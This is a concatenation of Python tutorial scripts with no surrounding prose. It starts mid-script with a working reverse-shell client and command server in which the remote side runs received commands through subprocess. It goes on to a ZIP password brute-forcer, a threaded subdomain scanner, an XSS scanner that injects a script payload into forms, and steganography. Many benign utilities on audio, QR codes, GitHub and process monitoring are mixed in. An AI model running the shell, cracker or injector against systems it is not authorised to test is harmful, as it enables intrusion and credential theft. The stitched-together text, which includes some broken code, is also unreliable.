socket.socket() # connect to the server s.connect((SERVER_HOST, SERVER_PORT)) # receive the greeting message message = s.recv(BUFFER_SIZE).decode() print("Server:", message) while True: # receive the command from the server command = s.recv(BUFFER_SIZE).decode() if command.lower() == "exit": # if the command is exit, just break out of the loop break # execute the command and retrieve the results output = subprocess.getoutput(command) # send the results back to the server s.send(output.encode()) # close client connection s.close() import socket SERVER_HOST = "0.0.0.0" SERVER_PORT = 5003 BUFFER_SIZE = 1024 # create a socket object s = socket.socket() # bind the socket to all IP addresses of this host s.bind((SERVER_HOST, SERVER_PORT)) # make the PORT reusable # when you run the server multiple times in Linux, Address already in use error will raise s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.listen(5) print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...") # accept any connections attempted client_socket, client_address = s.accept() print(f"{client_address[0]}:{client_address[1]} Connected!") # just sending a message, for demonstration purposes message = "Hello and Welcome".encode() client_socket.send(message) while True: # get the command from prompt command = input("Enter the command you wanna execute:") # send the command to the client client_socket.send(command.encode()) if command.lower() == "exit": # if the command is exit, just break out of the loop break # retrieve command results results = client_socket.recv(BUFFER_SIZE).decode() # print them print(results) # close connection to the client client_socket.close() # close server connection s.close() import cv2 import numpy as np import os def to_bin(data): """Convert data to binary format as string""" if isinstance(data, str): return ''.join([ format(ord(i), "08b") for i in data ]) elif isinstance(data, bytes) or isinstance(data, np.ndarray): return [ format(i, "08b") for i in data ] elif isinstance(data, int) or isinstance(data, np.uint8): return format(data, "08b") else: raise TypeError("Type not supported.") def encode(image_name, secret_data): # read the image image = cv2.imread(image_name) # maximum bytes to encode n_bytes = image.shape[0] * image.shape[1] * 3 // 8 print("[*] Maximum bytes to encode:", n_bytes) if len(secret_data) > n_bytes: raise ValueError("[!] Insufficient bytes, need bigger image or less data.") print("[*] Encoding data...") # add stopping criteria secret_data += "=====" data_index = 0 # convert data to binary binary_secret_data = to_bin(secret_data) # size of data to hide data_len = len(binary_secret_data) for row in image: for pixel in row: # convert RGB values to binary format r, g, b = to_bin(pixel) # modify the least significant bit only if there is still data to store if data_index < data_len: # least significant red pixel bit pixel[0] = int(r[:-1] + binary_secret_data[data_index], 2) data_index += 1 if data_index < data_len: # least significant green pixel bit pixel[1] = int(g[:-1] + binary_secret_data[data_index], 2) data_index += 1 if data_index < data_len: # least significant blue pixel bit pixel[2] = int(b[:-1] + binary_secret_data[data_index], 2) data_index += 1 # if data is encoded, just break out of the loop if data_index >= data_len: break return image def decode(image_name): print("[+] Decoding...") # read the image image = cv2.imread(image_name) binary_data = "" for row in image: for pixel in row: r, g, b = to_bin(pixel) binary_data += r[-1] binary_data += g[-1] binary_data += b[-1] # split by 8-bits all_bytes = [ binary_data[i: i+8] for i in range(0, len(binary_data), 8) ] # convert from bits to characters decoded_data = "" for byte in all_bytes: decoded_data += chr(int(byte, 2)) if decoded_data[-5:] == "=====": break return decoded_data[:-5] if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Steganography encoder/decoder, this Python scripts encode data within images.") parser.add_argument("-t", "--text", help="The text data to encode into the image, this only should be specified for encoding") parser.add_argument("-e", "--encode", help="Encode the following image") parser.add_argument("-d", "--decode", help="Decode the following image") args = parser.parse_args() secret_data = args.text if args.encode: # if the encode argument is specified input_image = args.encode print("input_image:", input_image) # split the absolute path and the file path, file = os.path.split(input_image) # split the filename and the image extension filename, ext = file.split(".") output_image = os.path.join(path, f"{filename}_encoded.{ext}") # encode the data into the image encoded_image = encode(image_name=input_image, secret_data=secret_data) # save the output image (encoded image) cv2.imwrite(output_image, encoded_image) print("[+] Saved encoded image.") if args.decode: input_image = args.decode # decode the secret data from the image decoded_data = decode(input_image) print("[+] Decoded data:", decoded_data) import requests from threading import Thread from queue import Queue q = Queue() def scan_subdomains(domain): global q while True: # get the subdomain from the queue subdomain = q.get() # scan the subdomain url = f"http://{subdomain}.{domain}" try: requests.get(url) except requests.ConnectionError: pass else: print("[+] Discovered subdomain:", url) # we're done with scanning that subdomain q.task_done() def main(domain, n_threads, subdomains): global q # fill the queue with all the subdomains for subdomain in subdomains: q.put(subdomain) for t in range(n_threads): # start all threads worker = Thread(target=scan_subdomains, args=(domain,)) # daemon thread means a thread that will end when the main thread ends worker.daemon = True worker.start() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Faster Subdomain Scanner using Threads") parser.add_argument("domain", help="Domain to scan for subdomains without protocol (e.g without 'http://' or 'https://')") parser.add_argument("-l", "--wordlist", help="File that contains all subdomains to scan, line by line. Default is subdomains.txt", default="subdomains.txt") parser.add_argument("-t", "--num-threads", help="Number of threads to use to scan the domain. Default is 10", default=10, type=int) args = parser.parse_args() domain = args.domain wordlist = args.wordlist num_threads = args.num_threads main(domain=domain, n_threads=num_threads, subdomains=open(wordlist).read().splitlines()) q.join() import requests # the domain to scan for subdomains domain = "google.com" # read all subdomains file = open("subdomains.txt") # read all content content = file.read() # split by new lines subdomains = content.splitlines() for subdomain in subdomains: # construct the url url = f"http://{subdomain}.{domain}" try: # if this raises an ERROR, that means the subdomain does not exist requests.get(url) except requests.ConnectionError: # if the subdomain does not exist, just pass, print nothing pass else: print("[+] Discovered subdomain:", url) import requests from pprint import pprint from bs4 import BeautifulSoup as bs from urllib.parse import urljoin def get_all_forms(url): """Given a url, it returns all forms from the HTML content""" soup = bs(requests.get(url).content, "html.parser") return soup.find_all("form") def get_form_details(form): """ This function extracts all possible useful information about an HTML form """ details = {} # get the form action (target url) action = form.attrs.get("action").lower() # get the form method (POST, GET, etc.) method = form.attrs.get("method", "get").lower() # get all the input details such as type and name inputs = [] for input_tag in form.find_all("input"): input_type = input_tag.attrs.get("type", "text") input_name = input_tag.attrs.get("name") inputs.append({"type": input_type, "name": input_name}) # put everything to the resulting dictionary details["action"] = action details["method"] = method details["inputs"] = inputs return details def submit_form(form_details, url, value): """ Submits a form given in form_details Params: form_details (list): a dictionary that contain form information url (str): the original URL that contain that form value (str): this will be replaced to all text and search inputs Returns the HTTP Response after form submission """ # construct the full URL (if the url provided in action is relative) target_url = urljoin(url, form_details["action"]) # get the inputs inputs = form_details["inputs"] data = {} for input in inputs: # replace all text and search values with value if input["type"] == "text" or input["type"] == "search": input["value"] = value input_name = input.get("name") input_value = input.get("value") if input_name and input_value: # if input name and value are not None, # then add them to the data of form submission data[input_name] = input_value if form_details["method"] == "post": return requests.post(target_url, data=data) else: # GET request return requests.get(target_url, params=data) def scan_xss(url): """ Given a url, it prints all XSS vulnerable forms and returns True if any is vulnerable, False otherwise """ # get all the forms from the URL forms = get_all_forms(url) print(f"[+] Detected {len(forms)} forms on {url}.") js_script = "<Script>alert('hi')</scripT>" # returning value is_vulnerable = False # iterate over all forms for form in forms: form_details = get_form_details(form) content = submit_form(form_details, url, js_script).content.decode() if js_script in content: print(f"[+] XSS Detected on {url}") print(f"[*] Form details:") pprint(form_details) is_vulnerable = True # won't break because we want to print other available vulnerable forms return is_vulnerable if __name__ == "__main__": import sys url = sys.argv[1] print(scan_xss(url)) from tqdm import tqdm import zipfile import sys # the password list path you want to use wordlist = sys.argv[2] # the zip file you want to crack its password zip_file = sys.argv[1] # initialize the Zip File object zip_file = zipfile.ZipFile(zip_file) # count the number of words in this wordlist n_words = len(list(open(wordlist, "rb"))) # print the total number of passwords print("Total passwords to test:", n_words) with open(wordlist, "rb") as wordlist: for word in tqdm(wordlist, total=n_words, unit="word"): try: zip_file.extractall(pwd=word.strip()) except: continue else: print("[+] Password found:", word.decode().strip()) exit(0) print("[!] Password not found, try other wordlist.") import requests from pprint import pprint # email and password auth = ("emailexample.com", "ffffffff") # get the HTTP Response res = requests.get("https://secure.veesp.com/api/details", auth=auth) # get the account details account_details = res.json() pprint(account_details) # get the bought services services = requests.get('https://secure.veesp.com/api/service', auth=auth).json() pprint(services) # get the upgrade options upgrade_options = requests.get('https://secure.veesp.com/api/service/32723/upgrade', auth=auth).json() pprint(upgrade_options) # list all bought VMs all_vms = requests.get("https://secure.veesp.com/api/service/32723/vms", auth=auth).json() pprint(all_vms) # stop a VM automatically stopped = requests.post("https://secure.veesp.com/api/service/32723/vms/18867/stop", auth=auth).json() print(stopped) # {'status': True} # start it again started = requests.post("https://secure.veesp.com/api/service/32723/vms/18867/start", auth=auth).json() print(started) # {'status': True} import os import matplotlib.pyplot as plt def get_size_format(b, factor=1024, suffix="B"): """ Scale bytes to its proper byte format e.g: 1253656 => '1.20MB' 1253656678 => '1.17GB' """ for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: if b < factor: return f"{b:.2f}{unit}{suffix}" b /= factor return f"{b:.2f}Y{suffix}" def get_directory_size(directory): """Returns the directory size in bytes.""" total = 0 try: # print("[+] Getting the size of", directory) for entry in os.scandir(directory): if entry.is_file(): # if it's a file, use stat() function total += entry.stat().st_size elif entry.is_dir(): # if it's a directory, recursively call this function total += get_directory_size(entry.path) except NotADirectoryError: # if directory isn't a directory, get the file size then return os.path.getsize(directory) except PermissionError: # if for whatever reason we can't open the folder, return 0 return 0 return total def plot_pie(sizes, names): """Plots a pie where sizes is the wedge sizes and names """ plt.pie(sizes, labels=names, autopct=lambda pct: f"{pct:.2f}%") plt.title("Different Sub-directory sizes in bytes") plt.show() if __name__ == "__main__": import sys folder_path = sys.argv[1] directory_sizes = [] names = [] # iterate over all the directories inside this path for directory in os.listdir(folder_path): directory = os.path.join(folder_path, directory) # get the size of this directory (folder) directory_size = get_directory_size(directory) if directory_size == 0: continue directory_sizes.append(directory_size) names.append(os.path.basename(directory) + ": " + get_size_format(directory_size)) print("[+] Total directory size:", get_size_format(sum(directory_sizes))) plot_pie(directory_sizes, names) import tarfile from tqdm import tqdm # pip3 install tqdm def decompress(tar_file, path, members=None): """ Extracts tar_file and puts the members to path. If members is None, all members on tar_file will be extracted. """ tar = tarfile.open(tar_file, mode="r:gz") if members is None: members = tar.getmembers() # with progress bar # set the progress bar progress = tqdm(members) for member in progress: tar.extract(member, path=path) # set the progress description of the progress bar progress.set_description(f"Extracting {member.name}") # or use this # tar.extractall(members=members, path=path) # close the file tar.close() def compress(tar_file, members): """ Adds files (members) to a tar_file and compress it """ # open file for gzip compressed writing tar = tarfile.open(tar_file, mode="w:gz") # with progress bar # set the progress bar progress = tqdm(members) for member in progress: # add file/folder/link to the tar file (compress) tar.add(member) # set the progress description of the progress bar progress.set_description(f"Compressing {member}") # close the file tar.close() # compress("compressed.tar.gz", ["test.txt", "test_folder"]) # decompress("compressed.tar.gz", "extracted") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="TAR file compression/decompression using GZIP.") parser.add_argument("method", help="What to do, either 'compress' or 'decompress'") parser.add_argument("-t", "--tarfile", help="TAR file to compress/decompress, if it isn't specified for compression, the new TAR file will be named after the first file to compress.") parser.add_argument("-p", "--path", help="The folder to compress into, this is only for decompression. Default is '.' (the current directory)", default="") parser.add_argument("-f", "--files", help="File(s),Folder(s),Link(s) to compress/decompress separated by ','.") args = parser.parse_args() method = args.method tar_file = args.tarfile path = args.path files = args.files # split by ',' to convert into a list files = files.split(",") if isinstance(files, str) else None if method.lower() == "compress": if not files: print("Files to compress not provided, exiting...") exit(1) elif not tar_file: # take the name of the first file tar_file = f"{files[0]}.tar.gz" compress(tar_file, files) elif method.lower() == "decompress": if not tar_file: print("TAR file to decompress is not provided, nothing to do, exiting...") exit(2) decompress(tar_file, path, files) else: print("Method not known, please use 'compress/decompress'.") import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.audio import MIME # your credentials email = "emailexample.com" password = "password" # the sender's email FROM = "emailexample.com" # the receiver's email TO = "toexample.com" # the subject of the email (subject) subject = "Just a subject" # initialize the message we wanna send msg = MIMEMultipart() # set the sender's email msg["From"] = FROM # set the receiver's email msg["To"] = TO # set the subject msg["Subject"] = subject # set the body of the email text = MIMEText("This email is sent using <b>Python</b> !", "html") # attach this body to the email msg.attach(text) # initialize the SMTP server server = smtplib.SMTP("smtp.gmail.com", 587) # connect to the SMTP server as TLS mode (secure) and send EHLO server.starttls() # login to the account using the credentials server.login(email, password) # send the email server.sendmail(FROM, TO, msg.as_string()) # terminate the SMTP session server.quit() import paramiko import argparse parser = argparse.ArgumentParser(description="Python script to execute BASH scripts on Linux boxes remotely.") parser.add_argument("host", help="IP or domain of SSH Server") parser.add_argument("-u", "--user", required=True, help="The username you want to access to.") parser.add_argument("-p", "--password", required=True, help="The password of that user") parser.add_argument("-b", "--bash", required=True, help="The BASH script you wanna execute") args = parser.parse_args() hostname = args.host username = args.user password = args.password bash_script = args.bash # initialize the SSH client client = paramiko.SSHClient() # add to known hosts client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname=hostname, username=username, password=password) except: print("[!] Cannot connect to the SSH Server") exit() # read the BASH script content from the file bash_script = open(bash_script).read() # execute the BASH script stdin, stdout, stderr = client.exec_command(bash_script) # read the standard output and print it print(stdout.read().decode()) # print errors if there are any err = stderr.read().decode() if err: print(err) # close the connection client.close() import paramiko hostname = "192.168.1.101" username = "test" password = "abc123" commands = [ "pwd", "id", "uname -a", "df -h" ] # initialize the SSH client client = paramiko.SSHClient() # add to known hosts client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname=hostname, username=username, password=password) except: print("[!] Cannot connect to the SSH Server") exit() # execute the commands for command in commands: print("="*50, command, "="*50) stdin, stdout, stderr = client.exec_command(command) print(stdout.read().decode()) err = stderr.read().decode() if err: print(err) client.close() from tqdm import tqdm import requests import sys # the url of file you want to download, passed from command line arguments url = sys.argv[1] # read 1024 bytes every time buffer_size = 1024 # download the body of response by chunk, not immediately response = requests.get(url, stream=True) # get the total file size file_size = int(response.headers.get("Content-Length", 0)) # get the file name filename = url.split("/")[-1] # progress bar, changing the unit to bytes instead of iteration (default by tqdm) progress = tqdm(response.iter_content(buffer_size), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024) with open(filename, "wb") as f: for data in progress: # write data read to the file f.write(data) # update the progress bar manually progress.update(len(data)) import qrcode import sys data = sys.argv[1] filename = sys.argv[2] # generate qr code img = qrcode.make(data) # save img to a file img.save(filename) import cv2 import sys filename = sys.argv[1] # read the QRCODE image img = cv2.imread(filename) # initialize the cv2 QRCode detector detector = cv2.QRCodeDetector() # detect and decode data, bbox, straight_qrcode = detector.detectAndDecode(img) # if there is a QR code if bbox is not None: print(f"QRCode data:\n{data}") # display the image with lines # length of bounding box n_lines = len(bbox) for i in range(n_lines): # draw all lines point1 = tuple(bbox[i][0]) point2 = tuple(bbox[(i+1) % n_lines][0]) cv2.line(img, point1, point2, color=(255, 0, 0), thickness=2) # display the result cv2.imshow("img", img) cv2.waitKey(0) cv2.destroyAllWindows() import cv2 # initalize the cam cap = cv2.VideoCapture(0) # initialize the cv2 QRCode detector detector = cv2.QRCodeDetector() while True: _, img = cap.read() # detect and decode data, bbox, _ = detector.detectAndDecode(img) # check if there is a QRCode in the image if bbox is not None: # display the image with lines for i in range(len(bbox)): # draw all lines cv2.line(img, tuple(bbox[i][0]), tuple(bbox[(i+1) % len(bbox)][0]), color=(255, 0, 0), thickness=2) if data: print("[+] QR Code detected, data:", data) # display the result cv2.imshow("img", img) if cv2.waitKey(1) == ord("q"): break cap.release() cv2.destroyAllWindows() from github import Github # your github account credentials username = "username" password = "password" # initialize github object g = Github(username, password) # searching for my repository repo = g.search_repositories("pythoncode tutorials")[0] # create a file and commit n push repo.create_file("test.txt", "commit message", "content of the file") # delete that created file contents = repo.get_contents("test.txt") repo.delete_file(contents.path, "remove test.txt", contents.sha) import requests from pprint import pprint # github username username = "x4nth055" # url to request url = f"https://api.github.com/users/{username}" # make the request and return the json user_data = requests.get(url).json() # pretty print JSON data pprint(user_data) # get name name = user_data["name"] # get blog url if there is blog = user_data["blog"] # extract location location = user_data["location"] # get email address that is publicly available email = user_data["email"] # number of public repositories public_repos = user_data["public_repos"] # get number of public gists public_gists = user_data["public_gists"] # number of followers followers = user_data["followers"] # number of following following = user_data["following"] # date of account creation date_created = user_data["created_at"] # date of account last update date_updated = user_data["updated_at"] # urls followers_url = user_data["followers_url"] following_url = user_data["following_url"] # print all print("User:", username) print("Name:", name) print("Blog:", blog) print("Location:", location) print("Email:", email) print("Total Public repositories:", public_repos) print("Total Public Gists:", public_gists) print("Total followers:", followers) print("Total following:", following) print("Date Created:", date_created) print("Date Updated:", date_updated) import base64 from github import Github import sys def print_repo(repo): # repository full name print("Full name:", repo.full_name) # repository description print("Description:", repo.description) # the date of when the repo was created print("Date created:", repo.created_at) # the date of the last git push print("Date of last push:", repo.pushed_at) # home website (if available) print("Home Page:", repo.homepage) # programming language print("Language:", repo.language) # number of forks print("Number of forks:", repo.forks) # number of stars print("Number of stars:", repo.stargazers_count) print("-"*50) # repository content (files & directories) print("Contents:") for content in repo.get_contents(""): print(content) try: # repo license print("License:", base64.b64decode(repo.get_license().content.encode()).decode()) except: pass # Github username from the command line username = sys.argv[1] # pygithub object g = Github() # get that user by username user = g.get_user(username) # iterate over all public repositories for repo in user.get_repos(): print_repo(repo) print("="*100) from github import Github import base64 def print_repo(repo): # repository full name print("Full name:", repo.full_name) # repository description print("Description:", repo.description) # the date of when the repo was created print("Date created:", repo.created_at) # the date of the last git push print("Date of last push:", repo.pushed_at) # home website (if available) print("Home Page:", repo.homepage) # programming language print("Language:", repo.language) # number of forks print("Number of forks:", repo.forks) # number of stars print("Number of stars:", repo.stargazers_count) print("-"*50) # repository content (files & directories) print("Contents:") for content in repo.get_contents(""): print(content) try: # repo license print("License:", base64.b64decode(repo.get_license().content.encode()).decode()) except: pass # your github account credentials username = "username" password = "password" # initialize github object g = Github(username, password) # or use public version # g = Github() # search repositories by name for repo in g.search_repositories("pythoncode tutorials"): # print repository details print_repo(repo) print("="*100) print("="*100) print("="*100) # search by programming language for i, repo in enumerate(g.search_repositories("language:python")): print_repo(repo) print("="*100) if i == 9: break import ipaddress # initialize an IPv4 Address ip = ipaddress.IPv4Address("192.168.1.1") # print True if the IP address is global print("Is global:", ip.is_global) # print Ture if the IP address is Link-local print("Is link-local:", ip.is_link_local) # ip.is_reserved # ip.is_multicast # next ip address print(ip + 1) # previous ip address print(ip - 1) # initialize an IPv4 Network network = ipaddress.IPv4Network("192.168.1.0/24") # get the network mask print("Network mask:", network.netmask) # get the broadcast address print("Broadcast address:", network.broadcast_address) # print the number of IP addresses under this network print("Number of hosts under", str(network), ":", network.num_addresses) # iterate over all the hosts under this network print("Hosts under", str(network), ":") for host in network.hosts(): print(host) # iterate over the subnets of this network print("Subnets:") for subnet in network.subnets(prefixlen_diff=2): print(subnet) # get the supernet of this network print("Supernet:", network.supernet(prefixlen_diff=1)) # prefixlen_diff: An integer, the amount the prefix length of # the network should be decreased by. For example, given a # /24 network and a prefixlen_diff of 3, a supernet with a # /21 netmask is returned. # tell if this network is under (or overlaps) 192.168.0.0/16 print("Overlaps 192.168.0.0/16:", network.overlaps(ipaddress.IPv4Network("192.168.0.0/16"))) import keyboard # registering a hotkey that replaces one typed text with another # replaces every "email" followed by a space with my actual email keyboard.add_abbreviation("email", "rockikzthepythoncode.com") # invokes a callback everytime a hotkey is pressed keyboard.add_hotkey("ctrl+alt+p", lambda: print("CTRL+ALT+P Pressed!")) # check if a ctrl is pressed print(keyboard.is_pressed('ctrl')) # press space keyboard.send("space") # sends artificial keyboard events to the OS # simulating the typing of a given text # setting 0.1 seconds to wait between keypresses to look fancy keyboard.write("Python Programming is always fun!", delay=0.1) # record all keyboard clicks until esc is clicked events = keyboard.record('esc') # play these events keyboard.play(events) # remove all keyboard hooks in use keyboard.unhook_all() from fbchat import Client from fbchat.models import Message, MessageReaction # facebook user credentials username = "username.or.email" password = "password" # login client = Client(username, password) # get 20 users you most recently talked to users = client.fetchThreadList() print(users) # get the detailed informations about these users detailed_users = [ list(client.fetchThreadInfo(user.uid).values())[0] for user in users ] # sort by number of messages sorted_detailed_users = sorted(detailed_users, key=lambda u: u.message_count, reverse=True) # print the best friend! best_friend = sorted_detailed_users[0] print("Best friend:", best_friend.name, "with a message count of", best_friend.message_count) # message the best friend! client.send(Message( text=f"Congratulations {best_friend.name}, you are my best friend with {best_friend.message_count} messages!" ), thread_id=best_friend.uid) # get all users you talked to in messenger in your account all_users = client.fetchAllUsers() print("You talked with a total of", len(all_users), "users!") # let's logout client.logout() import mouse # left click mouse.click('left') # right click mouse.click('right') # middle click mouse.click('middle') # get the position of mouse print(mouse.get_position()) # In [12]: mouse.get_position() # Out[12]: (714, 488) # presses but doesn't release mouse.hold('left') # mouse.press('left') # drag from (0, 0) to (100, 100) relatively with a duration of 0.1s mouse.drag(0, 0, 100, 100, absolute=False, duration=0.1) # whether a button is clicked print(mouse.is_pressed('right')) # move 100 right & 100 down mouse.move(100, 100, absolute=False, duration=0.2) # make a listener when left button is clicked mouse.on_click(lambda: print("Left Button clicked.")) # make a listener when right button is clicked mouse.on_right_click(lambda: print("Right Button clicked.")) # remove the listeners when you want mouse.unhook_all() # scroll down mouse.wheel(-1) # scroll up mouse.wheel(1) # record until you click right events = mouse.record() # replay these events mouse.play(events[:-1]) import pickle # define any Python data structure including lists, sets, tuples, dicts, etc. l = list(range(10000)) # save it to a file with open("list.pickle", "wb") as file: pickle.dump(l, file) # load it again with open("list.pickle", "rb") as file: unpickled_l = pickle.load(file) print("unpickled_l == l: ", unpickled_l == l) print("unpickled l is l: ", unpickled_l is l) import pickle class Person: def __init__(self, first_name, last_name, age, gender): self.first_name = first_name self.last_name = last_name self.age = age self.gender = gender def __str__(self): return f"<Person name={self.first_name} {self.last_name}, age={self.age}, gender={self.gender}>" p = Person("John", "Doe", 99, "Male") # save the object with open("person.pickle", "wb") as file: pickle.dump(p, file) # load the object with open("person.pickle", "rb") as file: p2 = pickle.load(file) print(p) print(p2) import pickle class Person: def __init__(self, first_name, last_name, age, gender): self.first_name = first_name self.last_name = last_name self.age = age self.gender = gender def __str__(self): return f"<Person name={self.first_name} {self.last_name}, age={self.age}, gender={self.gender}>" p = Person("John", "Doe", 99, "Male") # get the dumped bytes dumped_p = pickle.dumps(p) print(dumped_p) # write them to a file with open("person.pickle", "wb") as file: file.write(dumped_p) # load it with open("person.pickle", "rb") as file: p2 = pickle.loads(file.read()) print(p) print(p2) import camelot import sys # PDF file to extract tables from (from command-line) file = sys.argv[1] # extract all the tables in the PDF file tables = camelot.read_pdf(file) # number of tables extracted print("Total tables extracted:", tables.n) # print the first table as Pandas DataFrame print(tables[0].df) # export individually tables[0].to_csv("foo.csv") # or export all in a zip tables.export("foo.csv", f="csv", compress=True) # export to HTML tables.export("foo.html", f="html") import psutil from datetime import datetime import pandas as pd import time import os def get_size(bytes): """ Returns size of bytes in a nice format """ for unit in ['', 'K', 'M', 'G', 'T', 'P']: if bytes < 1024: return f"{bytes:.2f}{unit}B" bytes /= 1024 def get_processes_info(): # the list the contain all process dictionaries processes = [] for process in psutil.process_iter(): # get all process info in one shot with process.oneshot(): # get the process id pid = process.pid if pid == 0: # System Idle Process for Windows NT, useless to see anyways continue # get the name of the file executed name = process.name() # get the time the process was spawned try: create_time = datetime.fromtimestamp(process.create_time()) except OSError: # system processes, using boot time instead create_time = datetime.fromtimestamp(psutil.boot_time()) try: # get the number of CPU cores that can execute this process cores = len(process.cpu_affinity()) except psutil.AccessDenied: cores = 0 # get the CPU usage percentage cpu_usage = process.cpu_percent() # get the status of the process (running, idle, etc.) status = process.status() try: # get the process priority (a lower value means a more prioritized process) nice = int(process.nice()) except psutil.AccessDenied: nice = 0 try: # get the memory usage in bytes memory_usage = process.memory_full_info().uss except psutil.AccessDenied: memory_usage = 0 # total process read and written bytes io_counters = process.io_counters() read_bytes = io_counters.read_bytes write_bytes = io_counters.write_bytes # get the number of total threads spawned by this process n_threads = process.num_threads() # get the username of user spawned the process try: username = process.username() except psutil.AccessDenied: username = "N/A" processes.append({ 'pid': pid, 'name': name, 'create_time': create_time, 'cores': cores, 'cpu_usage': cpu_usage, 'status': status, 'nice': nice, 'memory_usage': memory_usage, 'read_bytes': read_bytes, 'write_bytes': write_bytes, 'n_threads': n_threads, 'username': username, }) return processes def construct_dataframe(processes): # convert to pandas dataframe df = pd.DataFrame(processes) # set the process id as index of a process df.set_index('pid', inplace=True) # sort rows by the column passed as argument df.sort_values(sort_by, inplace=True, ascending=not descending) # pretty printing bytes df['memory_usage'] = df['memory_usage'].apply(get_size) df['write_bytes'] = df['write_bytes'].apply(get_size) df['read_bytes'] = df['read_bytes'].apply(get_size) # convert to proper date format df['create_time'] = df['create_time'].apply(datetime.strftime, args=("%Y-%m-%d %H:%M:%S",)) # reorder and define used columns df = df[columns.split(",")] return df if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Process Viewer & Monitor") parser.add_argument("-c", "--columns", help="""Columns to show, available are name,create_time,cores,cpu_usage,status,nice,memory_usage,read_bytes,write_bytes,n_threads,username. Default is name,cpu_usage,memory_usage,read_bytes,write_bytes,status,create_time,nice,n_threads,cores.""", default="name,cpu_usage,memory_usage,read_bytes,write_bytes,status,create_time,nice,n_threads,cores") parser.add_argument("-s", "--sort-by", dest="sort_by", help="Column to sort by, default is memory_usage .", default="memory_usage") parser.add_argument("--descending", action="store_true", help="Whether to sort in descending order.") parser.add_argument("-n", help="Number of processes to show, will show all if 0 is specified, default is 25 .", default=25) parser.add_argument("-u", "--live-update", action="store_true", help="Whether to keep the program on and updating process information each second") # parse arguments args = parser.parse_args() columns = args.columns sort_by = args.sort_by descending = args.descending n = int(args.n) live_update = args.live_update # print the processes for the first time processes = get_processes_info() df = construct_dataframe(processes) if n == 0: print(df.to_string()) elif n > 0: print(df.head(n).to_string()) # print continuously while live_update: # get all process info processes = get_processes_info() df = construct_dataframe(processes) # clear the screen depending on your OS os.system("cls") if "nt" in os.name else os.system("clear") if n == 0: print(df.to_string()) elif n > 0: print(df.head(n).to_string()) time.sleep(0.7) from playsound import playsound import sys playsound(sys.argv[1]) import pyaudio import wave import sys filename = sys.argv[1] # set the chunk size of 1024 samples chunk = 1024 # open the audio file wf = wave.open(filename, "rb") # initialize PyAudio object p = pyaudio.PyAudio() # open stream object stream = p.open(format=p.get_format_from_width(wf.getsampwidth()), channels=wf.getnchannels(), rate=wf.getframerate(), output=True) # read data in chunks data = wf.readframes(chunk) # writing to the stream (playing audio) while data: stream.write(data) data = wf.readframes(chunk) # close stream stream.close() p.terminate() from pydub import AudioSegment from pydub.playback import play import sys # read MP3 file song = AudioSegment.from_mp3(sys.argv[1]) # song = AudioSegment.from_wav("audio_file.wav") # you can also read from other formats such as MP4 # song = AudioSegment.from_file("audio_file.mp4", "mp4") play(song) import pyaudio import wave import argparse parser = argparse.ArgumentParser(description="an Audio Recorder using Python") parser.add_argument("-o", "--output", help="Output file (with .wav)", default="recorded.wav") parser.add_argument("-d", "--duration", help="Duration to record in seconds (can be float)", default=5) args = parser.parse_args() # the file name output you want to record into filename = args.output # number of seconds to record record_seconds = float(args.duration) # set the chunk size of 1024 samples chunk = 1024 # sample format FORMAT = pyaudio.paInt16 # mono, change to 2 if you want stereo channels = 1 # 44100 samples per second sample_rate = 44100 # initialize PyAudio object p = pyaudio.PyAudio() # open stream object as input & output stream = p.open(format=FORMAT, channels=channels, rate=sample_rate, input=True, output=True, frames_per_buffer=chunk) frames = [] print("Recording...") for i in range(int(44100 / chunk * record_seconds)): data = stream.read(chunk) # if you want to hear your voice while recording # stream.write(data) frames.append(data) print("Finished recording.") # stop and close stream stream.stop_stream() stream.close() # terminate pyaudio object p.terminate() # save audio file # open the file in 'write bytes' mode wf = wave.open(filename, "wb") # set the channels wf.setnchannels(channels) # set the sample format wf.setsampwidth(p.get_sample_size(FORMAT)) # set the sample rate wf.setframerate(sample_rate) # write the frames as bytes wf.writeframes(b"".join(frames)) # close the file wf.close() import cv2 import numpy as np import pyautogui # display screen resolution, get it from your OS settings SCREEN_SIZE = (1920, 1080) # define the codec fourcc = cv2.VideoWriter_fourcc(*"MJPG") # create the video write object out = cv2.VideoWriter("output.avi", fourcc, 10.0, (SCREEN_SIZE)) # while True: for i in range(100): # make a screenshot img = pyautogui.screenshot() # convert these pixels to a proper numpy array to work with OpenCV frame = np.array(img) # convert colors from BGR to RGB frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # write the frame out.write(frame) # show the frame # cv2.imshow("screenshot", frame) # if the user clicks q, it exits if cv2.waitKey(1) == ord("q"): break # make sure everything is closed when exited cv2.destroyAllWindows() out.release() import psutil import platform from datetime import datetime def get_size(bytes, suffix="B"): """ Scale bytes to its proper format e.g: 1253656 => '1.20MB' 1253656678 => '1.17GB' """ factor = 1024 for unit in ["", "K", "M", "G", "T", "P"]: if bytes < factor: return f"{bytes:.2f}{unit}{suffix}" bytes /= factor print("="*40, "System Information", "="*40) uname = platform.uname() print(f"System: {uname.system}") print(f"Node Name: {uname.node}") print(f"Release: {uname.release}") print(f"Version: {uname.version}") print(f"Machine: {uname.machine}") print(f"Processor: {uname.processor}") # Boot Time print("="*40, "Boot Time", "="*40) boot_time_timestamp = psutil.boot_time() bt = datetime.fromtimestamp(boot_time_timestamp) print(f"Boot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}") # let's print CPU information print("="*40, "CPU Info", "="*40) # number of cores print("Physical cores:", psutil.cpu_count(logical=False)) print("Total cores:", psutil.cpu_count(logical=True)) # CPU frequencies cpufreq = psutil.cpu_freq() print(f"Max Frequency: {cpufreq.max:.2f}Mhz") print(f"Min Frequency: {cpufreq.min:.2f}Mhz") print(f"Current Frequency: {cpufreq.current:.2f}Mhz") # CPU usage print("CPU Usage Per Core:") for i, percentage in enumerate(psutil.cpu_percent(percpu=True, interval=1)): print(f"Core {i}: {percentage}%") 